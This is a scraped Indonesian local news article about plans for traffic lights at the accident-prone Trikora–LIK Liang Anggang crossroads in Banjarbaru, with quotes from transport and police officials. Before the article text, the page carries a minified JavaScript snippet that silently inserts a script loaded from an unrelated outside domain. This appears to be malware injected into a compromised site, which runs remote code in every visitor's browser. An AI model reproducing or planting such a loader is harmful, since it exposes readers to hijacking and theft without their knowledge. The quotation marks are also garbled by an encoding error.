(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Angka kecelakaan lalu lintas di Banjarbaru cenderung tinggi. Dalam sepekan, laporan Lakalantas di kota berjuluk Idaman ini cukup sering didengar.
Salah satu areal atau wilayah yang kerap dilaporkan Lakalantas adalah ruas jalan Trikora. Selain di sepanjang jalan, tak sedikit Lakalantas juga terjadi di perempatan Trikora-LIK Liang Anggang yang merupakan salah satu bagian ujung jalan Trikora.
Perempatan Trikora-LIK Liang Anggang memang sangat minim rambu lalu lintas. Padahal di areal sana terdapat simpang empat. Apalagi ruas jalan A Yani jurusan ke Pelaihari bertemu di titik lajur cepat itu.
Kondisi ini pun mendapat tanggapan dari Dinas Perhubungan (Dishub) Kota Banjarbaru yang kedepannya simpang empat Trikora-LIK harus dipasang Traffic Light (lampu lalu lintas).
“Memang benar rencananya akan dipasang (traffic light) di perempatan LIK Liang Anggang itu. Sudah disampaikan dan dibahas di forum Lalin beberapa waktu lalu,†kata Kadishub Banjarbaru, A Yani Makkie melalui Kabid Sarana dan Prasarana Transportasi Darat Dishub Banjarbaru, Adi Surya Noor.
Memang jika dibandingkan dengan ujung ruas jalan Trikora di Mistar Cokrokusomo, titik persimpangan itu telah tersedia lampu pengatur lalu lintas, sehingga arus lalu lintas di persimpangan Mistar Cokrokusomo-Trikora lebih teratur.
Namun kata Adi, lantaran jalur Trikora dan A Yani jurusan Pelaihari ranah Pemprov Kalsel. Maka saat ini pihaknya hanya sebagai penyambung lidah kepada pihak provinsi atas perencanaan pemasangan traffic light tersebut.
“Makanya untuk kapan pastinya (dipasang) itu ranah provinsi, tapi dari Dishub Kota akan melakukan pengawasan, bagaimana rekayasa lalu lintasnya,†katanya.
Wacana pemasangan traffic light turut dijelaskan Satlantas Polres Banjarbaru. Satlantas Banjarbaru telah lama mengusulkan pemasangan lampu tiga warna itu, lantaran arus lalin di sana berpotensi menyebabkan Lakalantas.
“Di forum juga sudah kita sampaikan agar ada penambahan atau diadakan traffic light di simpang LIK tersebut. Soalnya sering kejadian Lakalantas,†kata Kasat Lantas Polres Banjarbatu, AKP Gustaf Adolf M.
Soal teknis pemasangan dan titik, pihaknya berharap jika lampu ini bisa di semua lajur. Baik di ruas Trikora maupun jalur A Yani sendiri. “Kalau bisa empat titik, karena di sana simpang empat. Itu juga lajur cepat khususnya jurusan Pelaihari, makanya penting adanya lampu pengatur lalin itu,†katanya.
Tak lupa katanya ia turut meminta ada pemasangan penerangan jalan di titik-titik rawan dan gelap. Sebab pencahayaan minim, kerap dikeluhkan pengendara hingga memicu Lakalantas terjadi.
“PJU sudah kita minta adakan. Lalu penambahan median jalan juga sudah kita sampaikan. Semoga bisa terlaksana dalam waktu dekat,†harapnya. (rico)
KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI menghadirkan Program Spesial KPR BRI.… Read More
KANALKALIMANTAN.COM - BRI kembali menunjukkan komitmennya untuk memanjakan para nasabah setia di momen ulang tahun ke-129.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
This website uses cookies.